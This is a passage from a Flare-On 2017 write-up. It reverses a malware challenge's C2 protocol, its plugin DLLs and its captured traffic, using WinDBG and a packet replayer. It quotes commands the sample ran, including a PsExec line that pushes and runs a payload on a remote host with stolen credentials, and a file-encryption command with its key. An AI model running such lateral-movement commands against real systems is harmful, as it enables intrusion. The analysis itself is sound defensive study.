performs sequentially the following operations:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;unxor the URL from memory: the URL is located at 0x04102B4 and xor-ed with
0x73&lt;&#x2F;li&gt;
&lt;li&gt;perform the HTTP GET request to get the &lt;code&gt;secondstage&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;decode the buffer, recovering a valid PE file, &lt;code&gt;secondstage.exe&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;invoke &lt;code&gt;secondstage.exe&lt;&#x2F;code&gt; by &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.trustwave.com&#x2F;Resources&#x2F;SpiderLabs-Blog&#x2F;Analyzing-Malware-Hollow-Processes&#x2F;&quot;&gt;hollowing&lt;&#x2F;a&gt; the default HTTP browser&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;7d5697ef3325169816f81bd29388f6575c6dd51d23d9fcf11c26dc778f29b354.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;7d5697ef3325169816f81bd29388f6575c6dd51d23d9fcf11c26dc778f29b354.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Instead of decoding manually the encoded response from the C2 server, we can be
lazy by recovering &lt;code&gt;secondstage.exe&lt;&#x2F;code&gt; breaking at 0x4104C1:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; bp  0x4104C1; g
&lt;&#x2F;span&gt;&lt;span&gt;Breakpoint 0 hit
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;0:000&amp;gt; !dh edx
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;File Type: EXECUTABLE IMAGE
&lt;&#x2F;span&gt;&lt;span&gt;FILE HEADER VALUES
&lt;&#x2F;span&gt;&lt;span&gt;     14C machine (i386)
&lt;&#x2F;span&gt;&lt;span&gt;       5 number of sections
&lt;&#x2F;span&gt;&lt;span&gt;592F22F3 time date stamp Wed May 31 13:09:23 2017
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;       0 file pointer to symbol table
&lt;&#x2F;span&gt;&lt;span&gt;       0 number of symbols
&lt;&#x2F;span&gt;&lt;span&gt;      E0 size of optional header
&lt;&#x2F;span&gt;&lt;span&gt;     102 characteristics
&lt;&#x2F;span&gt;&lt;span&gt;            Executable
&lt;&#x2F;span&gt;&lt;span&gt;            32 bit word machine
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;span&gt;0:000&amp;gt; .writemem F:\flareon_2017\12\secondstage.exe edx l1d400
&lt;&#x2F;span&gt;&lt;span&gt;Writing 1d400 bytes...........................................................
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;initial-analysis-secondstage&quot;&gt;Initial analysis secondstage&lt;&#x2F;h3&gt;
&lt;p&gt;Thanks to CFF Explorer, one can easily edit &lt;code&gt;secondstage.exe&lt;&#x2F;code&gt; PE header to
deactivate the randomization of the code by
unsetting
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;msdn.microsoft.com&#x2F;en-us&#x2F;library&#x2F;windows&#x2F;desktop&#x2F;ms680339(v=vs.85).aspx&quot;&gt;&lt;code&gt;IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;
and rebuild the header.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;secondstage&lt;&#x2F;code&gt; analysis starts at 0x405220 by initializing a bunch a stuff,
including loading all dynamically loaded functions into an array of points,
ensuring a bit of obfuscation during static analysis, since all function calls
will be performed by indirect calls. Then if the executable is run on
client-side, initiates the connection to the C2 server:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;ae6aff7a8232b182109f61df0cd50bf78f7ce4a5f162c8c16a5591b5f0f7aecc.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;ae6aff7a8232b182109f61df0cd50bf78f7ce4a5f162c8c16a5591b5f0f7aecc.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;a06c9b431092bbd3e382f3d703dbe4828d0702f0140ee009aac3b341c145c32e.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;a06c9b431092bbd3e382f3d703dbe4828d0702f0140ee009aac3b341c145c32e.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Every time a packet is received the function 0x0402C50 is called for parsing the
new message, and sending the answer back. The C2 is still behind the FQDN
&lt;code&gt;maybe.suspicious.to&lt;&#x2F;code&gt; which in the PCAP file is associated to the IP address
52.0.104.200.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;reversing-the-communication-protocol&quot;&gt;Reversing the communication protocol&lt;&#x2F;h3&gt;
&lt;p&gt;A big part of this challenge consisted in understanding the protocol, because
once entirely assimilated, every piece of code would fall into place.&lt;&#x2F;p&gt;
&lt;p&gt;An initial glimpse into the second TCP stream of the PCAP reveils already many
valuable information regarding the protocol:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;it is a non-standard (i.e. custom) binary protocol&lt;&#x2F;li&gt;
&lt;li&gt;it is (for most part) non encrypted&lt;&#x2F;li&gt;
&lt;li&gt;some parts of the header can be instantly recognized (magic=‘2017’, the
size of the header, size of the data, etc.)&lt;&#x2F;li&gt;
&lt;li&gt;it transmits some PE code (presence of strings like “text”, “rdata”,
“reloc”, “kernel32.dll”, names of methods, etc.)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;The function 0x403210 reveals a whole deal regarding the protocol: when a new
packet is received, the function ensures that its length is at least 0x24 bytes,
and that the first 4 bytes are equal to “2017”. This will be the aspect of the
first 0x24 bytes of header:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0000 &amp;quot;2017&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;0004 DataCheckSum
&lt;&#x2F;span&gt;&lt;span&gt;0008 HeaderSize
&lt;&#x2F;span&gt;&lt;span&gt;000c DataSize
&lt;&#x2F;span&gt;&lt;span&gt;0010 DataSize2  &#x2F;&#x2F; this field is explained later on
&lt;&#x2F;span&gt;&lt;span&gt;0014 Magic_of_Module
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;What the hell are those modules? What is their magic number?&lt;&#x2F;p&gt;
&lt;p&gt;To understand that, I wrote a “replayer” that would spoof the C2 IP address, and
replay all the packets to the instance of &lt;code&gt;secondstage&lt;&#x2F;code&gt;. After a few packets,
the &lt;code&gt;!address&lt;&#x2F;code&gt; showed that some new memory areas were allocated in the address
space, all with &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;&#x2F;code&gt; permission, all starting with
&lt;code&gt;LM...&lt;&#x2F;code&gt;. Searching for the constant 0x4d4c (‘LM’ in little endian), IDA spotted
the instruction &lt;code&gt;004053CE cmp     edx, 4D4Ch&lt;&#x2F;code&gt;, which happens to be followed by a
call to &lt;code&gt;Kernel32!VirtualAlloc()&lt;&#x2F;code&gt; with &lt;code&gt;PAGE_EXECUTE_READWRITE&lt;&#x2F;code&gt; (0x40) set for
permission, then a &lt;code&gt;LoadLibraryA&lt;&#x2F;code&gt;. This must be it, so we can now use WinDBG to dump all those modules:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;0:000&amp;gt; bp 004053ce ; g
&lt;&#x2F;span&gt;&lt;span&gt;0:000&amp;gt; dd ecx+poi(ecx+3c)+50 l1
&lt;&#x2F;span&gt;&lt;span&gt;0018d2b8  00017000
&lt;&#x2F;span&gt;&lt;span&gt;0:000&amp;gt; .writemem E:\secondstage-lm-&amp;lt;id&amp;gt;.dll ecx lpoi(ecx+poi(ecx+3c)+50)
&lt;&#x2F;span&gt;&lt;span&gt;Writing 17000 bytes..............................................
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;8 modules were found. Each of them can be convert back to a valid PE format by
replacing “LM\x00\x00” with “MZ\x00\x00”, and “NOP\x00” with
“PE\x00\x00”. Finally the entry point must be xored with the value 0xABCDABCD.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;bbcda00a98ff78d846bfa7a6e2b0e846cdcd50a8cc7cd8b4b4a8b79f4a1b49db.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;bbcda00a98ff78d846bfa7a6e2b0e846cdcd50a8cc7cd8b4b4a8b79f4a1b49db.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;h3 id=&quot;reversing-the-loadable-modules&quot;&gt;Reversing the “Loadable Modules”&lt;&#x2F;h3&gt;
&lt;p&gt;All those modifications give us 8 DLL that are sent by the C2 and loaded in
&lt;code&gt;secondstage&lt;&#x2F;code&gt;, with the following names in them&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;r.dll&lt;&#x2F;li&gt;
&lt;li&gt;t.dll&lt;&#x2F;li&gt;
&lt;li&gt;6.dll&lt;&#x2F;li&gt;
&lt;li&gt;x.dll&lt;&#x2F;li&gt;
&lt;li&gt;z.dll&lt;&#x2F;li&gt;
&lt;li&gt;f.dll&lt;&#x2F;li&gt;
&lt;li&gt;s.dll&lt;&#x2F;li&gt;
&lt;li&gt;m.dll&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;Using Diaphora to bin-diff those DLL showed that they are 99% similar, except
for a handful of functions. So naturally I focused reversing only those
functions.&lt;&#x2F;p&gt;
&lt;p&gt;In all DLLs (and even &lt;code&gt;secondstage&lt;&#x2F;code&gt;), one function could always be found doing
something like:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;memcpy&lt;&#x2F;span&gt;&lt;span&gt;(pkt-&amp;gt;Magic_of_Module, magic_array_of_0x10_bytes, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x10&lt;&#x2F;span&gt;&lt;span&gt;)==&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;){
&lt;&#x2F;span&gt;&lt;span&gt;  data = &lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;malloc&lt;&#x2F;span&gt;&lt;span&gt;( pkg-&amp;gt;DataSize2 );
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;* process(pkt) *&#x2F;
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which appears to be the function called when a packet is received, and that the
“magic” field matched to the DLL. Symetrically, another function could be found,
but this one to build a response packet from this module.  Reversing all those
modules could be summarized in the table below:&lt;&#x2F;p&gt;
&lt;p&gt;| Name | Magic  | Description  | Category |
| secondstage.exe | 51298F741667D7ED2941950106F50545  | Handles basic packets handling, loads modules, sends MessageBox messages, stop process, etc.  | * |
| r.dll | C30B1A2DCB489CA8A724376469CF6782 | &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;RC4&quot;&gt;RC4&lt;&#x2F;a&gt; implementation  | CRPT |
| t.dll | 38BE0F624CE274FC61F75C90CB3F5915 | Byte shuffling | CRPT |
| 6.dll | BA0504FCC08F9121D16FD3FED1710E60 | Base64 (with custom alphabet) implementation  | COMP|
| x.dll | B2E5490D2654059BBBAB7F2A67FE5FF4 | Modified &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;XTEA&quot;&gt;XTEA&lt;&#x2F;a&gt;  | CRPT |
| z.dll | 5FD8EA0E9D0A92CBE425109690CE7DA2 | &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zlib.net&quot;&gt;zlib&lt;&#x2F;a&gt; | COMP |
| f.dll | F47C51070FA8698064B65B3B6E7D30C6 | &lt;em&gt;didn’t see the need for reversing&lt;&#x2F;em&gt; | ? |
| s.dll | F46D09704B40275FB33790A362762E56 | Send&#x2F;Receive commands  | CMD |
| m.dll | A3AECCA1CB4FAA7A9A594D138A1BFBD5 | Desktop Screenshot | CMD |&lt;&#x2F;p&gt;
&lt;p&gt;3 types of plugin actions can be found (as detailed by 0x04025DF):&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CMD&lt;&#x2F;code&gt;: send and receive command to the client (get OS information, execute
command in terminal, etc.)&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;CRPT&lt;&#x2F;code&gt;: cryptographic operation&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;COMP&lt;&#x2F;code&gt;: compression operation&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;And here is where the header field &lt;code&gt;DataSize2&lt;&#x2F;code&gt; (at header+0x10) comes in handy:
actions triggered by crypto or compression modules can produce an output whose
length is different from the original &lt;code&gt;header.DataSize&lt;&#x2F;code&gt;. So the field
&lt;code&gt;DataSize2&lt;&#x2F;code&gt; indicates the size of the output &lt;strong&gt;after&lt;&#x2F;strong&gt; the cryptographic or
compression operation has been done. Although some crypto operations were used, the key (and IV when needed) could
always be found in the message header.&lt;&#x2F;p&gt;
&lt;p&gt;Chaining modules together allows to create some pretty complex
output (for example &lt;code&gt;Base64( zlib_deflate( XTEA(data) ) )&lt;&#x2F;code&gt; ), that would be
absolutely impossible to reverse correctly, solely with the static analysis of
the PCAP file. So if we want to reconstruct the data, we must write a parser at some point to
parse the data of the PCAP (the final version of the parser can be &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;9b141827b66843ebbabc183731649f53#file-level12-py&quot;&gt;found here&lt;&#x2F;a&gt;).&lt;&#x2F;p&gt;
&lt;h3 id=&quot;reconstructing-the-screen-capture&quot;&gt;Reconstructing the screen capture&lt;&#x2F;h3&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;18a58c8dbdd8b039dc0b8492474e2ae4c0180ecc2e88a26f2d5708059aee9d4b.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;18a58c8dbdd8b039dc0b8492474e2ae4c0180ecc2e88a26f2d5708059aee9d4b.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;&lt;code&gt;m.dll&lt;&#x2F;code&gt; captures the desktop as a bitmap and send the raw data back to the C2
(uses the same function as
the
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;msdn.microsoft.com&#x2F;en-us&#x2F;library&#x2F;windows&#x2F;desktop&#x2F;dd183402(v=vs.85).aspx&quot;&gt;MSDN example&lt;&#x2F;a&gt;). But
because it is a pure bitmap, there is no information of the dimensions of the
image. In addition, the image is split in several packets, some of them are sent
in plain text, like this&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;00010A26  32 30 31 37 49 d8 69 59  24 00 00 00 4c 40 00 00   2017I.iY $...L@..
&lt;&#x2F;span&gt;&lt;span&gt;00010A36  4c 40 00 00 51 29 8f 74  16 67 d7 ed 29 41 95 01   L@..Q).t .g..)A..
&lt;&#x2F;span&gt;&lt;span&gt;00010A46  06 f5 05 45 1c 00 00 00  30 40 00 00 30 40 00 00   ...E.... 0@..0@..
&lt;&#x2F;span&gt;&lt;span&gt;00010A56  f3 71 26 ad 88 a5 61 7e  af 06 00 0d 42 4c 5a 21   .q&amp;amp;...a~ ....BLZ!
&lt;&#x2F;span&gt;&lt;span&gt;00010A66  17 04 17 20 03 00 00 00  51 00 00 00 00 00 00 00   ... .... Q.......
&lt;&#x2F;span&gt;&lt;span&gt;00010A76  00 00 00 00 a3 ae cc a1  cb 4f aa 7a 9a 59 4d 13   ........ .O.z.YM.
&lt;&#x2F;span&gt;&lt;span&gt;00010A86  8a 1b fb d5 00 00 01 00  38 d1 0f 00 00 40 00 00   ........ 8....@..
&lt;&#x2F;span&gt;&lt;span&gt;00010A96  f7 f7 f7 f7 f7 f7 f7 f7  f7 f7 f7 f7 f7 f7 f7 f7   ........ ........
&lt;&#x2F;span&gt;&lt;span&gt;00010AA6  f7 f7 f7 f7 f7 f7 f7 f7  f7 f7 f7 f7 f7 f7 f7 f7   ........ ........
&lt;&#x2F;span&gt;&lt;span&gt;00010AB6  f7 f7 f7 f7 f7 f7 f7 f7  f7 f7 f7 f7 f7 f7 f7 f7   ........ ........
&lt;&#x2F;span&gt;&lt;span&gt;[...]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Whereas others are compressed and&#x2F;or encrypted by the different algorithms
mentioned above. However, they are all sent sequentially. Once all the fragments
extracted by the parser, they were merged into a raw file. Thanks to a good tip
by &lt;i class=&quot;fa fa-twitter&quot;&gt; alex_k_polyakov&lt;&#x2F;i&gt;, I used the
website &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;rawpixels.net&quot;&gt;RawPixels.net&lt;&#x2F;a&gt;, and when setting a resolution of
1420x720, the following capture showed up:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;018ab4320dc95fa3b751227369cd27f7ee759579323d695c2453bcf9966179e0.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;018ab4320dc95fa3b751227369cd27f7ee759579323d695c2453bcf9966179e0.png&quot;

    

    
    title=&quot;image_alt6&quot;
    alt=&quot;image_alt6&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;After all those efforts, finally a good lead on the challenge to find.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;more-loadable-modules&quot;&gt;More Loadable Modules !!&lt;&#x2F;h3&gt;
&lt;p&gt;Continuing the replay of packets showed something very interesting:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;01c609d44427749a2caa64d7cb8ae54f41788be7313e2c94fd9cd8f65476cc9c.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;01c609d44427749a2caa64d7cb8ae54f41788be7313e2c94fd9cd8f65476cc9c.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;&lt;code&gt;secondstage.exe&lt;&#x2F;code&gt; was sending commands to a child process &lt;code&gt;cmd.exe&lt;&#x2F;code&gt;, attempting
to reach a host whose NetBIOS name is &lt;code&gt;larryjohnson-pc&lt;&#x2F;code&gt;, and if found, would run
drop 2 files in &lt;code&gt;C:\staging&lt;&#x2F;code&gt;, &lt;code&gt;pse.exe&lt;&#x2F;code&gt; and &lt;code&gt;srv2.exe&lt;&#x2F;code&gt;. Finally it would execute
the command:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bat&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bat &quot;&gt;&lt;code class=&quot;language-bat&quot; data-lang=&quot;bat&quot;&gt;&lt;span&gt;pse.exe \\larryjohnson-pc -i -c -f -d -u larry.johnson -p n3v3rgunnag1veUup -accepteula srv2.exe
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;pse.exe&lt;&#x2F;code&gt; is nothing more
than
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.microsoft.com&#x2F;en-us&#x2F;sysinternals&#x2F;downloads&#x2F;psexec&quot;&gt;&lt;code&gt;SysInternals PsExec&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;,
so the command would push and execute &lt;code&gt;srv2.exe&lt;&#x2F;code&gt; as the user &lt;code&gt;larry.johnson&lt;&#x2F;code&gt;. If
all went well, &lt;code&gt;secondstage.exe&lt;&#x2F;code&gt; then attempts to load a new Loadable Module,
&lt;code&gt;p.dll&lt;&#x2F;code&gt;, whose magic is 77D6CE92347337AEB14510807EE9D7BE. This DLL will be used
to proxy the packets from&#x2F;to the C2 directly to &lt;code&gt;srv2.exe&lt;&#x2F;code&gt; via &lt;code&gt;secondstage.exe&lt;&#x2F;code&gt;. In
addition, the C2 then sends a few new Loadable Modules to the running &lt;code&gt;srv2.exe&lt;&#x2F;code&gt;
process:&lt;&#x2F;p&gt;
&lt;p&gt;| Name | Magic  | Description  | Category |
| b.dll | 2965E4A19B6E9D9473F5F54DFEF93533 | Blowfish implementation (CBC Mode) | CRPT |
| e.dll | 8746E7B7B0C1B9CF3F11ECAE78A3A4BC | Block XOR | CRPT |
| d.dll | 46C5525904F473ACE7BB8CB58B29968A | DES implementation (CBC Mode) | CRPT |
| c.dll | 9B1F6EC7D9B42BF7758A094A2186986B | Camellia implementation (ECB Mode) | CRPT |
| a.dll | 503B6412C75A7C7558D1C92683225449 | ApLib compression | COMP |
| l.dll | 0A7874D2478A7713705E13DD9B31A6B1 | LZO compression | COMP |&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a href=&quot;https:&#x2F;&#x2F;blahcat.github.io&#x2F;2017-10-13-flareon-4-writeups&#x2F;#menu&quot;&gt;Back to Menu&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;smart-parsing-of-the-pcap&quot;&gt;Smart parsing of the PCAP&lt;&#x2F;h3&gt;
&lt;p&gt;It is altogether 15 Loadable Modules that are needed to be implemented for
decompression or decryption. In some cases, the implementation of the algorithm
was not standard (for example RC4), so I had to rewrite from scratch according
to the reversed DLL solely. Particularly the ApLib module was a pain to use properly.&lt;&#x2F;p&gt;
&lt;p&gt;But it was critical that our implementation strictly stick  to the one from the
module. So a lot (really a lot) of testing was required all the time, as even a one
byte mistake could make the content of a packet unreadable for the upper layer,
leading to not be able to decrypt files later on…&lt;&#x2F;p&gt;
&lt;p&gt;But after some long hours perfecting the decrypting script, &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;9b141827b66843ebbabc183731649f53#file-level12-py&quot;&gt;the result&lt;&#x2F;a&gt; pays off
directly, and all traffic is now in plain text, revealing some crispy information:&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;0d1da3b02573a0f2c451b9cf801355666639e4454e26ea138b1836bdd969b36e.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;0d1da3b02573a0f2c451b9cf801355666639e4454e26ea138b1836bdd969b36e.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;54e0782509ce641e04edd2b4bb2fef3d80f31c6640451952464ff9d50b5cb851.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;54e0782509ce641e04edd2b4bb2fef3d80f31c6640451952464ff9d50b5cb851.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;2 new files can be found from the extract:&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;cf.exe&lt;&#x2F;code&gt; a C# compiled file&lt;&#x2F;li&gt;
&lt;li&gt;a 561972 byte file beginning with the pattern &lt;code&gt;cryp&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;code&gt;cf.exe&lt;&#x2F;code&gt; doesn’t show much mystery: it takes 2 parameters, a path to file, and a
base64 encoded key. And it will AES encrypt the file with the given key.&lt;&#x2F;p&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;0fbe4ce9c0d1295088fa6938b36081272c976a99ca80fef5f27ec3c89ea0cafb.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;flareon-2017&amp;#x2F;0fbe4ce9c0d1295088fa6938b36081272c976a99ca80fef5f27ec3c89ea0cafb.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;As seen in the capture above, we were capable of decrypting the packet that
holds the command used for encrypting the file.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bat&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bat &quot;&gt;&lt;code class=&quot;language-bat&quot; data-lang=&quot;bat&quot;&gt;&lt;span&gt;c:\staging\cf.exe lab10.zip tCqlc2+fFiLcuq1ee1eAPOMjxcdijh8z0jrakMA&#x2F;jxg=
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So we can build a decryptor in few lines of Python&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;python&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-python &quot;&gt;&lt;code class=&quot;language-python&quot; data-lang=&quot;python&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;base64, sys, hashlib, struct
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;Crypto &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span&gt;Random
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;from &lt;&#x2F;span&gt;&lt;span&gt;Crypto.Cipher &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;import &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;AES
&lt;&#x2F;span&gt;&lt;span&gt;
